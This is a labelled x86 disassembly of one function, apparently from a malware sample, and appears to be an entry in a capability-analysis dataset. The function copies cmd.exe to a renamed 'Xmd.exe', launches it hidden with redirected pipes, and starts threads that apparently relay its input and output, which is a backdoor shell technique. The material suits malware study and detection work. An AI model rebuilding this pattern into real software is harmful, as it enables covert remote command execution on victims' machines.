Function at 0x10006b98
Capabilities:
Copy file
Delete file

Disassembly:
mov eax, 0x10013488
call fcn.1000c71c
sub esp, 0x478
push ebx
push esi
push edi
mov ebx, ecx
push dword [ebp + 8]
mov dword [ebp - 0x30], ebx
call fcn.10004d2c
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x10
xor esi, esi
pop ecx
xor eax, eax
lea edi, [ebp - 0x70]
mov dword [ebp - 0x74], esi
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x28]
mov dword [ebp - 0x2c], esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea edi, [ebx + 0x18]
push str.CreatePipe
mov dword [ebp - 4], esi
mov dword [ebx], 0x100142c0
mov dword [ebx + 0x10], esi
mov dword [ebx + 0x14], esi
mov dword [edi], esi
mov dword [ebx + 0x1c], esi
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], 1
call fcn.1000560f
push eax
call fcn.10005638
pop ecx
mov dword [ebp - 0x10], eax
pop ecx
lea eax, [ebp - 0x1c]
push esi
push eax
lea eax, [ebx + 0x1c]
push eax
lea eax, [ebx + 0x10]
push eax
call dword [ebp - 0x10]
test eax, eax
jne 0x10006c49
mov eax, dword [ebx + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, esi
je 0x10006c38
push eax
call edi
mov eax, dword [ebx + 0x1c]
cmp eax, esi
je 0x10006e10
push eax
jmp 0x10006dbf
lea eax, [ebp - 0x1c]
push esi
push eax
lea eax, [ebx + 0x14]
push eax
push edi
call dword [ebp - 0x10]
test eax, eax
jne 0x10006c7e
mov eax, dword [ebx + 0x14]
cmp eax, esi
je 0x10006c68
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [edi]
cmp edi, esi
je 0x10006e10
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10006e10
push 0x44
lea eax, [ebp - 0x74]
push esi
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x2c]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, dword [edi]
mov edx, 0x81
mov dword [ebp - 0x3c], eax
mov eax, dword [ebx + 0x1c]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], eax
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x482]
mov word [ebp - 0x484], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x27a]
mov word [ebp - 0x27c], si
rep stosd dword es:[edi], eax
push str.GetSystemDirectoryW
mov dword [ebp - 0x74], 0x44
mov word [ebp - 0x44], si
mov dword [ebp - 0x48], 0x101
stosw word es:[edi], ax
call fcn.1000560f
push eax
call fcn.10005638
pop ecx
mov edi, 0x104
pop ecx
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x484]
push edi
push ecx
call eax
lea eax, [ebp - 0x27c]
push edi
push eax
call dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x484]
push str.cmd.exe
push eax
call edi
lea eax, [ebp - 0x27c]
push str.Xmd.exe
push eax
call edi
lea eax, [ebp - 0x27c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x27c]
push esi
push eax
lea eax, [ebp - 0x484]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push str.CreateProcessW
call fcn.1000560f
push eax
call fcn.10005638
pop ecx
mov dword [ebp - 0x10], eax
pop ecx
push str.CloseHandle
call fcn.1000560f
push eax
call fcn.10005638
pop ecx
mov edi, eax
pop ecx
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x74]
push eax
push esi
push esi
push 0x20
push 1
push esi
push esi
lea eax, [ebp - 0x27c]
push esi
push eax
call dword [ebp - 0x10]
test eax, eax
jne 0x10006dc3
push dword [ebx + 0x10]
call edi
push dword [ebx + 0x14]
call edi
push dword [ebx + 0x18]
call edi
push dword [ebx + 0x1c]
call edi
jmp 0x10006e10
mov eax, dword [ebp - 0x2c]
push 1
mov dword [ebx + 0x20], eax
mov eax, dword [ebp - 0x28]
mov dword [ebx + 0x24], eax
lea eax, [ebp + 0xb]
push eax
mov ecx, ebx
mov byte [ebp + 0xb], 0x7d
call fcn.10004d87
mov ecx, ebx
call fcn.10004dcc
push esi
push esi
push esi
push ebx
push 0x10006f79
push esi
push esi
call fcn.100097e4
push esi
push esi
push esi
push ebx
push 0x1000700f
push esi
push esi
mov dword [ebx + 0x28], eax
call fcn.100097e4
add esp, 0x38
mov dword [ebx + 0x2c], eax
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, ebx
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4